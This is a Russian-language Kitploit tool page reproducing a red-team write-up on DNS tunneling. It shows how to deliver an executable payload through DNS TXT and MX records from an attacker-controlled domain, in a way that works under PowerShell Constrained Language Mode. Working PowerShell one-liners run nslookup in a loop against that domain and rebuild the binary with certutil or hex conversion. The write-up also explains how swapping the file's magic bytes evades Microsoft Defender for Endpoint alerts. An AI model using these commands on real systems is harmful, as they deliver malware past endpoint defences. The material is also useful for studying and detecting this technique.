Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DNS_Tunneling — Инструмент DNS-туннелирования, использующий PowerShell и Nslookup для эксфильтрации данных и доставки полезных нагрузок через DNS TXT/MX записи, обходящий Constrained Language Mode и защиту конечных точек. | Kitploit
Инструменты/GitHubGitHub/octoberfest7/dns_tunneling
Генерация полезной нагрузкиЭксфильтрация данныхТестирование на ПроникновениеКомандование и УправлениеRed TeamingАнализ DNS
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

Инструмент DNS-туннелирования, использующий PowerShell и Nslookup для эксфильтрации данных и доставки полезных нагрузок через DNS TXT/MX записи, обходящий Constrained Language Mode и защиту конечных точек.

Репозиторий
2323794 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение

Вдохновленный недавней работой, связанной с DNS-биконами Cobalt Strike, а также стремлением попытаться обойти Microsoft Defender for Endpoint, я потратил некоторое время на изучение того, как DNS можно использовать для передачи полезной нагрузки на целевой компьютер. Я также хотел усложнить задачу, попытавшись сделать это таким образом, чтобы это было возможно даже в режиме Constrained Language Mode PowerShell. Это исследование было нацелено на более современные версии Windows (т.е. Win10+, Server 2019+), но, как вы увидите позже, возможно, это применимо и к более старым версиям.

Предыстория

Что такое DNS-туннелирование?

DNS-туннелирование — это техника, которая существует уже давно и используется различными злоумышленниками. На базовом уровне она предполагает использование протокола DNS для инфильтрации/экфильтрации данных или в качестве канала C2. Существует множество публикаций в блогах, которые можно использовать для получения дополнительной информации по этой теме.

Поскольку это старая и хорошо известная техника, многие организации внедрили методы обнаружения, чтобы попытаться ее предотвратить.

Исторически сложилось так, что типом DNS-записи, выбираемым для DNS-туннелирования, был TXT. Это связано с тем, что TXT-записи могут содержать больше данных, чем другие записи, а также они чувствительны к регистру, в отличие от других записей, что может повлиять на процесс кодирования.

Что такое Constrained Language Mode?

Constrained Language Mode (CLM) — это ограничительный режим языка для PowerShell, который значительно сокращает возможности и разрешенную функциональность PowerShell. Если кратко, то .NET, COM-объекты и излюбленные атакующими методы, такие как (new-object net.webclient).downloadstring... недоступны. ссылка содержит дополнительную информацию. Организации вводят эту политику для обычных пользователей в рамках правил уменьшения поверхности атаки. По сути, это просто усложняет нам жизнь как атакующим.

Эта

Как выглядят DNS-записи?

Большинство должно быть хотя бы поверхностно знакомо с DNS благодаря использованию таких инструментов, как Nslookup. Но на базовом уровне клиент отправляет запрос, а DNS-сервер возвращает ответ на этот запрос. Существует несколько различных типов DNS-записей: CNAME, A, AAAA, TXT, MX и NS, и это лишь некоторые из них. Каждая из этих записей может хранить и возвращать разную информацию. Эти записи настраиваются в зонном файле (Zonefile), который обслуживается DNS-сервером.

Пример зонного файла показан здесь:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

root@kitploit:~
Если бы кто-то запросил NS-записи для example.com, запрос вернул бы ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net и ns4.p30.dynect.net.

# Исследование

## Регистрация доменного имени

Прежде чем начать, нужно кратко рассказать о настройке DNS-записей, указывающих на IP, который мы контролируем и на котором будет запущен DNS-сервер. Как показано ниже, я купил домен и настроил DNS-записи, которые направляют поддомен "dns" на поддомен "ns1", которому назначен публичный IP сервера.

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

Это означает, что любые запросы к "dns.edu....com" будут направляться на "ns1.edu....com", которому назначен IP 3..86. На этом IP мы запустим DNS-сервер для обслуживания наших записей. К этому мы вернёмся позже.

## Поиск клиентского инструмента

Мои поиски начались с простого гугл-запроса «powershell dns module», который вернул [эту](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) ссылку. Особый интерес вызвала команда Resolve-DnsName. Похоже, это, по сути, реализация известной утилиты Nslookup.exe в PowerShell. Обратите внимание, что можно запрашивать определённые типы записей:

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

Итак, у нас есть модуль PowerShell, способный выполнять DNS-запросы и получать ответ. Работает ли он в режиме ограниченного языка (Constrained Language Mode)? Ответ: частично.

Как видно здесь, если открыть новое окно PowerShell, выполнить Resolve-DnsName, перевести PowerShell в CLM (и проверить простым вызовом ::WriteLine), а затем снова выполнить Resolve-DnsName, он работает без проблем:

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

Однако если я открою новое окно PowerShell, сразу переведу его в CLM и попытаюсь выполнить Resolve-DnsName, произойдёт ошибка:

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

Похоже, что если модуль был загружен заранее, он может выполняться после включения CLM, но CLM предотвращает его загрузку, если она ещё не произошла. Задумываясь о целевой среде, где CLM включён для пользователей по умолчанию (и не зная, загружены ли определённые модули заранее или входит ли в их число DnsClient), я решил на этом этапе оставить Resolve-DnsName и вернуться к старому доброму Nslookup.exe.

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exe — основной элемент набора инструментов IT и очень известный двоичный файл, используемый в законных целях. Вероятность того, что ему будет разрешено выполняться даже в средах, где существует проблема белых списков приложений, высока.

Nslookup вернёт практически ту же информацию, что и наш запрос Resolve-DnsName; просто в нужный момент нам придётся обрабатывать её немного иначе.

## Превращение исполняемого файла в DNS-записи?

Итак, у нас есть средство для выполнения DNS-запросов на компьютере жертвы. Как мы можем предоставить нашу полезную нагрузку в формате, который сможет получить Nslookup?

Исполняемые файлы, конечно, являются двоичными, то есть не читаются человеком. Следовательно, данные нужно преобразовать в нечто, что можно поместить в DNS-записи и что сможет восстановить такой инструмент, как Nslookup. Доступно множество вариантов кодирования, но главное соображение — что может декодировать целевая машина, используя только штатные средства Windows и возможности, доступные в CLM? Base64 — очевидный и часто используемый ответ.

С помощью Base64 мы превращаем наш исполняемый файл в гигантскую читаемую строку, которую затем можно разбить на множество DNS-записей и восстановить с помощью Nslookup. На стороне клиента известная LOLBAS-утилита certutil.exe может использоваться для декодирования агрегированных DNS-записей из Base64 обратно в двоичный формат.

Это требует более подробного рассмотрения типов DNS-записей. Каждый тип записи хранит определённую информацию в определённом формате. Например, A-записи хранят и возвращают IPV4-адрес (111.111.111.111). AAAA-записи возвращают IPV6-адрес, MX и NS-записи возвращают доменные имена, а TXT-записи могут возвращать строки длиной до 255 символов. Как упоминалось ранее, из-за длины записи и чувствительности к регистру TXT-записи являются очевидным выбором для атакующих, так как их потребуется меньше и они совместимы с таким кодированием, как Base64.

Давайте посмотрим, как это выглядит.

На нашей виртуальной машине Kali мы можем взять наш исполняемый файл и закодировать его в Base64. Обратите внимание на использование ключа -w 0, который удаляет все переносы строк, оставляя одну строку текста Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

Просмотр файла показывает Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

Теперь нам нужно превратить этот закодированный в Base64 файл в DNS TXT-записи, которые будет обслуживать наш DNS-сервер.

Есть несколько вещей, которые я узнал в процессе, и я кратко изложу их здесь перед продолжением:

  **1.** Когда на один DNS-запрос возвращается несколько записей, нет гарантии, что они будут возвращены «по порядку». Это критически важно для наших целей, так как нам нужно собрать файл из всех TXT-записей, и если они будут не по порядку, это не сработает.
  
  **2.** Дублирующиеся записи не возвращаются в ответ на запрос. Например, если в нашем файле зоны есть 3 TXT-записи и 2 из них содержат одинаковую информацию, при запросе TXT-записей для этого домена вернутся только 2 записи, так как возвращаются только уникальные записи. Не говоря уже о проблеме порядка, если бы у нас были, например, большие участки «AAAAA» (как в полезной нагрузке Base64), которые нужно было бы заполнить в нескольких TXT-записях, при запросе нашего домена на TXT-записи вернётся только одна TXT-запись, заполненная «A», даже если в файле зоны их несколько.

С учётом этих моментов мы должны гарантировать, что на каждый DNS-запрос возвращается только одна TXT-запись. Здесь на помощь приходят поддомены. Точно так же, как мы зарегистрировали «dns.edu...com» как поддомен «edu....com», мы можем предоставлять записи для дальнейших поддоменов (например, 1.dns.edu....com). Мы можем создать столько поддоменов, сколько необходимо для обслуживания всех наших TXT-записей.

Давайте посмотрим на нашу полезную нагрузку в Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

Как упоминалось ранее, в каждую TXT-запись можно поместить 255 символов. Разделив 413 696 на 255, после округления вверх получаем 1 623. Это много TXT-записей (и, соответственно, много поддоменов). Тем не менее, это отправная точка.

Я написал скрипт на Python3 для обработки полезной нагрузки в Base64 и создания файла зоны:

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

Этот скрипт открывает нашу полезную нагрузку в Base64 (comp.txt) и использует функцию «chunkstring» (взято из ответа на Stack Overflow) для разбиения файла на фрагменты по 255 символов, из которых затем создаются TXT-записи. Обратите внимание, что IP-адреса здесь фиктивные/случайные и необязательны.

Глядя на полученный файл зоны, мы видим наши TXT-записи:

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

Обратите внимание на число в левой части каждой TXT-записи; оно обозначает поддомен.

Теперь, когда файл зоны создан, нам нужно скопировать его на наш DNS-сервер и затем обслуживать. Для этого я использовал [CoreDNS](https://github.com/coredns/coredns):

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

Здесь показано, что я принимаю запросы для dns.edu....com на порту 53. В Corefile я указал файл зоны, созданный на предыдущем шаге, для обслуживания записей. Чтобы проверить, что наши записи работают, мы выполним nslookup для TXT-записей, принадлежащих 1.dns.edu....com:

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

Вот наша TXT-запись!

## Атака!

Теперь нам нужно запустить nslookup... 1623 раза. Не идеально, но пока что сделаем так. Мы будем использовать этот однострочник PowerShell для выполнения nslookup для каждого поддомена, затем выберем только TXT-запись ($temp[5]) и по ходу будем собирать $results. Затем $results записывается в ./temp.txt, и, наконец, certutil используется для декодирования temp.txt в custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

При выполнении нашей команды мы видим все DNS-запросы на нашем сервере CoreDNS:

image

А на нашем клиенте мы видим, что команда Certutil выполнена успешно:

image

Длина нашего выходного файла совпадает с исходным EXE (и он работает) — отлично!

image

Однако у нас есть проблема. Давайте посмотрим на панель управления MDE для нашей тестовой лабораторной машины:

image

Возвращаемся к чертежной доске

Здесь есть 5 предупреждений, которые необходимо обработать (игнорируем два верхних «Подозрительное использование certutil.exe для декодирования исполняемого файла», так как это дубликаты от запуска одной и той же цепочки атак дважды во время тестирования).

1. Подозрительное обнаружение сетевой конфигурации системы — это связано с использованием командлета 'Resolve-DnsName' (этот тест был запущен до перехода на Nslookup по отдельным причинам)

image

2. Средство или активность DNS-атаки — это связано с использованием TXT-записей для внедрения наших данных

image

3. / 4. / 5. — Подозрительное использование certutil.exe для декодирования исполняемого файла / Использование легитимного бинарного файла для выполнения вредоносного кода

image

1. Подозрительное обнаружение сетевой конфигурации системы

Мы спишем это предупреждение, потому что перейдем на Nslookup. Посмотрим, будет ли это продолжаться. Я не знаю, но у меня есть подозрение, что такого рода оповещения могут игнорироваться многими организациями из-за их низкого приоритета и кажущейся очень легкой срабатываемости.

2. Средство или активность DNS-атаки

Это предупреждение снова связано с использованием TXT-записей для контрабанды нашей нагрузки; это не так уж удивительно, так как TXT-записи давно являются фаворитом для такого рода деятельности по уважительной причине. Решение здесь, по-видимому, состоит в том, чтобы попробовать использовать альтернативный тип записи, что мы и рассмотрим в сочетании со следующим предупреждением.

3. / 4. / 5. Подозрительное использование certutil.exe для декодирования исполняемого файла / Использование легитимного бинарного файла для выполнения вредоносного кода

Также не так уж удивительно, что certutil был отмечен за декодирование нашей нагрузки; это старый трюк, на который любая уважающая себя организация должна обращать внимание. Однако предупреждение интересно конкретностью; оно подчеркивает, что он использовался для декодирования исполняемого файла. Это навело меня на мысль: что произойдет, если я изменю магические байты нашей нагрузки перед кодированием в Base64, а затем снова на стороне клиента после декодирования с помощью certutil. Я не буду показывать это здесь, но это действительно обошло предупреждение, и мне удалось использовать certutil для декодирования нагрузки в Base64, а затем изменить магические байты обратно на MZ, чтобы нагрузка стала исполняемой, и все это с использованием нативной функциональности PowerShell.

В стороне от проторенного пути

Я решил попробовать использовать MX-записи вместо TXT-записей для контрабанды нагрузки. Эта запись в блоге отмечает, что максимальная длина допустимого DNS-имени составляет 255 символов``` (63 letters).(63 letters).(63 letters).(62 letters)

root@kitploit:~
Поскольку MX-записи возвращают доменное имя, я должен иметь возможность втиснуть довольно много данных в каждый октет. После некоторых экспериментов я решил немного сократить каждую запись и помещать только 50 символов в каждый октет, в сумме 200 символов на одну MX-запись.

Однако есть одна проблема. Когда речь заходит о DNS-записях, только записи TXT и SPF (разновидность TXT) чувствительны к регистру. Наш язык кодирования, Base64, чувствителен к регистру. Я потратил пару часов на устранение этой проблемы, пока не разобрался, но по сути, если мы собираемся использовать Base64, мы не можем использовать MX-записи, так как Nslookup всегда возвращает записи в нижнем регистре, что нарушает наше кодирование.

Мы вынуждены либо найти другой тип записи, который чувствителен к регистру и совместим с Base64, либо найти другой язык кодирования, который Windows/PowerShell в режиме ограниченного языка (CLM) сможет декодировать нативно.

После некоторых [изысканий](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) я обнаружил, что PowerShell может преобразовывать шестнадцатеричные строки в двоичные без использования .NET:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw

# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)

С небольшим изменением вышеуказанного (заменив [System.IO.File]... на $bytes | set-content....) это должно подойти для наших целей.

MX-записи также имеют значение «preference» (приоритет); это, по сути, порядок приоритета, определяющий, какой MX-сервер следует использовать для домена. Это видно в предыдущем примере файла зоны, где значения «10 20 и 30» предшествуют доменным именам для MX-записей. Мы можем использовать это значение приоритета в своих интересах, включив несколько MX-записей на каждый поддомен и обеспечив правильный порядок данных путем сортировки по значению приоритета. Это позволит нам значительно сократить количество вызовов Nslookup по сравнению с тем, когда мы извлекали одну запись на поддомен с помощью TXT-записей.

image

Как показано выше, записи могут возвращаться не по порядку, но с помощью значения приоритета мы можем их переупорядочить.

Чтобы всё это реализовать, я сначала написал небольшой скрипт на Python3 для преобразования полезной нагрузки в hex:

image

image

Затем я модифицировал исходный скрипт Python3 для создания файла зоны с MX-записями вместо TXT-записей:

image

Основные отличия заключаются в том, что теперь мы разбиваем данные на части по 200 символов и выделяем 100 MX-записей на поддомен. Это отслеживается переменной j, где j в MX-записи является значением приоритета. Она начинается с 10 для первой записи и увеличивается на 10 вплоть до 1000. Когда j достигает 1010, оно сбрасывается до 10, а i увеличивается на единицу, где переменная i — это поддомен, указанный в каждой MX-записи.

Этот скрипт создает файл зоны примерно такого вида (показан конец файла зоны):

image

Здесь показаны два поддомена (31.dns.edu....com и 32.dns.edu....com) и несколько записей для каждого. Записи различаются значением приоритета после каждого MX (31.dns.edu....com: 960, 970, 980, 990, 1000 32.dns.edu....com: 10, 20, 30)

Нам придётся существенно изменить нашу команду powershell, чтобы приспособиться к этому новому формату. Я показал скрипт в Powershell ISE с комментариями, чтобы лучше объяснить, что происходит на каждом шаге, но по сути мы собираемся:

-1. Для каждого поддомена

--A Выполнить Nslookup

--B Для каждой MX-записи, возвращённой Nslookup

---a. Извлечь только наши данные и сохранить их в массиве по порядку (отсортированному по значению приоритета MX)

--C Добавить каждую строку данных к накопительной строке $results

image

Затем нам нужно взять $results и преобразовать hex обратно в двоичный формат, прежде чем записать на диск. Здесь мы воспользуемся powershell, показанным ранее.

Упаковав в одну строку, мы получаем следующее:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe

root@kitploit:~
## Попытка вторая

Давайте запустим нашу команду powershell на тестовой машине MDE и посмотрим, что произойдет (мы находимся в CLM, просто это не показано):

![image](https://assets.kitploit.com/production/public/readmes/5529/5c6c02f45ade0f86708c0266ab8697ae39cf4a2a451b80044bc320f79d4add1b.png)

Запускаем наш beacon (на бэкенде произошло еще немного магии для использования DNS beacons)

![image](https://assets.kitploit.com/production/public/readmes/5529/a72f193c75d9827d742100e0d35ebf19328b04d19ea1220204aabfbf5d976d8d.png)

Мы получаем одно оповещение о поведении "SuspiciousFileDrop", однако оно разрешилось как "Угроз не найдено"... есть что исследовать. Но все оповещения, связанные с TXT-записями или Certutil для декодирования исполняемого файла, исчезли.

![image](https://assets.kitploit.com/production/public/readmes/5529/3b8d333e03f641c57b3daaa1955c54597cd0826ad64f8f588ab4b2460b38510d.png)

## Всего один шаг влево...

MDE не понравилось, что powershell записал наш полезный нагрузку на диск. Это понятно; в итоге Nslookup скачал неизвестный исполняемый файл из интернета и сохранил его на диск. Как мы можем это смягчить?

Я решил пересмотреть магические байты полезной нагрузки. Моя рабочая теория заключалась в том, что если я изменю магические байты полезной нагрузки на байты, например, файла .txt, запишу это на диск, затем прочитаю этот файл в новую переменную и изменю магические байты обратно на MZ (исполняемый файл), а затем снова запишу на диск, я смогу обмануть MDE, потому что операция ввода-вывода, приводящая к появлению функционального исполняемого файла на диске, будет исходить из файла .txt, уже существующего на диске, а не из данных, полученных из интернета.

Давайте попробуем.

Мы можем использовать VIM, чтобы открыть наш исполняемый файл на атакующей машине. Обратите внимание на заголовок MZ в первых двух байтах, который указывает, что это исполняемый файл:

![image](https://assets.kitploit.com/production/public/readmes/5529/d653911c1bbdd30be5f4fb00983067b708173367aa41ceee6a80efd7f85d9164.png)

Введя :%!xxd, мы можем редактировать файл в шестнадцатеричном формате:

![image](https://assets.kitploit.com/production/public/readmes/5529/827b8179f80a7701ea7093e41343278d842c15bfdcee91395dab33d0f5356375.png)

и изменить первые два байта на FF FE (маркер порядка байтов UTF-16LE, обычно встречающийся в текстовых файлах, как указано на https://en.wikipedia.org/wiki/List_of_file_signatures):

![image](https://assets.kitploit.com/production/public/readmes/5529/93f32e87c51d2f1f9cda2bc6d0f38e7d46e0da06359d904a7172b94573c97fed.png)

Теперь мы должны закрыть шестнадцатеричный редактор, введя :%!xxd -r, что покажет, что наши магические байты действительно были заменены:

![image](https://assets.kitploit.com/production/public/readmes/5529/6ccbc576cc43630b7f0dd6c39d4af7b7b281fdd2f9d140e987fb727df25eecef.png)

Затем мы можем сохранить и выйти из VIM.

Мы снова преобразуем нашу полезную нагрузку в hex, а затем используем скрипт python3, чтобы поместить измененную полезную нагрузку в MX-записи, которые могут быть обслужены на нашем DNS-сервере.

На стороне клиента нам нужно будет изменить нашу команду powershell, чтобы исправить магические байты и снова сделать исполняемый файл функциональным. Как упоминалось, в попытке избежать оповещения SuspiciousFileDrop от MDE мы сначала запишем наш "txt" файл на диск, а затем загрузим его обратно в память с помощью get-content. Соответствующая модификация и дополнение к нашей команде powershell является:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte

В этой команде мы сначала записываем загруженный полезный нагрузкой (с магическими байтами .txt) на диск как out.txt, затем считываем его в байтовый массив $readfile, после чего первый и второй байты устанавливаются на 0x4D и 0x5A соответственно, восстанавливая заголовок MZ для нашей полезной нагрузки. Затем $readfile передается в set-content для записи нашей рабочей полезной нагрузки на диск как new.exe.

Давайте попробуем это на нашей MDE VM (обратите внимание, что команда выглядит немного иначе, это будет рассмотрено в следующем разделе):

image

А на панели управления?

image

Успех!

Так что же MDE на самом деле видит?

Мы успешно загрузили и восстановили нашу полезную нагрузку в функциональном формате через DNS-запросы и команды PowerShell, доступные в режиме Constrained Language Mode. MDE не выдала предупреждений, но что MDE на самом деле видит? Ответ — всё.

Давайте взглянем на временную шкалу событий для нашей тестовой машины, отфильтровав события, связанные с PowerShell:

image

На этом изображении мы видим несколько вызовов nslookup.exe, выполненных PowerShell, каждый из которых привел к событию "T1016: System Network Configuration Discovery". Кроме того, мы видим "powershell.exe dropped a packed file new.exe", что относится к нашему теперь функциональному исполняемому файлу, записанному обратно на диск после изменения магических байтов. Это вызывает несколько идентификаторов событий, в частности "T1027.002: Software Packing".

Отфильтровав эти события, мы, возможно, сможем увидеть, насколько часто встречается каждое из них и насколько наши действия способны слиться с шумом нормальных операций на компьютере.

Посмотрим на T1016:

image

Мы видим все наши nslookup'ы, но также видим другие события, сгенерированные процессами, такими как WaAppAgent.exe и WindowsAzureGuestAgent.exe. В свою очередь, они запускали такие вещи, как ipconfig.exe и arp.exe. Таким образом, разные исполняемые файлы могут вызывать T1016: System Network Configuration Discovery, что для нас хорошо, так как мы пытаемся остаться незамеченными.

Посмотрим на T1027:

image

Новости здесь менее радужные. Единственное событие для T1027.002: File Packing — это наш powershell.exe, записывающий полезную нагрузку на диск. Я не совсем уверен, почему это событие срабатывает при нашем действии, но я не убежден, что это связано с методом DNS-инфильтрации, скорее с записью исполняемого файла на диск. В любом случае, это не вызвало фактического предупреждения, это просто зарегистрированное событие.

Сколько всего зарегистрированных событий и насколько хорошо категоризирована нормальная функциональность компьютера? Ответы: «много» и «не очень». Пролистывая, чтобы найти события PowerShell, я наткнулся на это:

image

Это выглядит подозрительно… что происходит?

image

А. Это просто Windows Defender ATP выполняет команды PowerShell.

Количество событий, регистрируемых MDE, ошеломляет. Пока мы не сталкиваемся с фактическим предупреждением, я не слишком беспокоюсь о том, что наши зарегистрированные действия будут обнаружены во время активной работы, если только мы не дадим защитникам причин проверить нас.

Добавим немного полировки

У нас есть рабочий POC, но теперь пришло время усовершенствовать продукт. У меня было три основные цели:

  1. Автоматизация

  2. Надёжность

  3. Эффективность

Автоматизация

Я начал с объединения скриптов Python, которые преобразовывали наш исполняемый файл в hex и создавали зонный файл. Затем я прошел и удалил все статические ссылки на доменные имена, которые будут заполнять зонный файл; теперь они передаются через аргументы командной строки. В-третьих, я добавил функциональность для создания копии нашей полезной нагрузки и последующего изменения магических байтов; эта измененная копия затем превращается в MX-записи внутри нашего зонного файла, что исключает необходимость в VIM. Наконец, скрипт Python выводит однострочную команду PowerShell с правильным количеством итераций для выполнения nslookup (зависит от длины полезной нагрузки) и домен, для которого выполняется nslookup. Этот скрипт Python был загружен как "createzonefile.py".

image

Надёжность

Для повышения надёжности атаки я потратил некоторое время на то, как скрипт Python создает MX-записи. Основной проблемой была последняя MX-запись; она содержит остаток полезной нагрузки, так как каждая другая запись заполнена 200 символами. В зависимости от того, сколько данных осталось для этой записи, у нас может быть один, два, три или четыре октета, частично или полностью заполненных. Я обнаружил, что nslookup не извлекает записи, если в конце слишком много символов ".", как было в случае с нашим простым скриптом Python ранее, если последняя MX-запись использовала меньше четырех октетов (например, запись могла быть "0000000000000000000000.000000.."). Была реализована и протестирована новая логика, чтобы гарантировать, что независимо от размера полезной нагрузки или количества данных в последней MX-записи, она будет отформатирована правильно и будет работать как ожидается.

Реализация однострочной команды PowerShell в скрипте Python — ещё один шаг к надёжности, так как она гарантирует, что вы получите правильное количество итераций nslookup, а также то же доменное имя, указанное в зонном файле.

Эффективность

Последний пункт в основном касается однострочной команды PowerShell. Я хотел попробовать максимально сократить длину команды на случай, если придется вводить её вручную на целевой машине. Без учета добавленного скрипта для замены магических байтов мне удалось сократить её примерно на 30%.

Эти сокращения получены из нескольких мест:

  1. Сокращение переменных. $results теперь $o. $num теперь $a.
  2. Псевдонимы. Select-substring становится sls. Set-content становится sc.
  3. Использование сокращенных параметров, когда это возможно. Параметр -Allmatches у select-substring можно сократить до -a, так как нет других параметров, начинающихся с a.
  4. Улучшение регулярных выражений, логики циклов и инициализации массивов. Каждый символ имеет значение!

image

Я уверен, что можно сделать еще больше, но я далеко не эксперт в PowerShell.

Финальная, улучшенная однострочная команда PowerShell, которая восстанавливает магические байты MZ и удаляет временный файл .txt:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f

root@kitploit:~
# Заключительные мысли

Использование DNS для внедрения полезной нагрузки может быть привлекательным вариантом в сильно ограниченных средах, где обычные методы, включающие HTTP/S и/или более традиционные способы, могут оказаться нежизнеспособными. В такой среде следующим препятствием, скорее всего, станет фактическое выполнение полезной нагрузки — обход белых списков приложений — тема, которой я, вероятно, уделю некоторое время в будущем.

Спасибо тем, кто остался со мной до конца. Это были насыщенные несколько дней, когда я исследовал и разрабатывал эту тему, и я, безусловно, узнал кое-что, как, надеюсь, и вы.
Скачать инструмент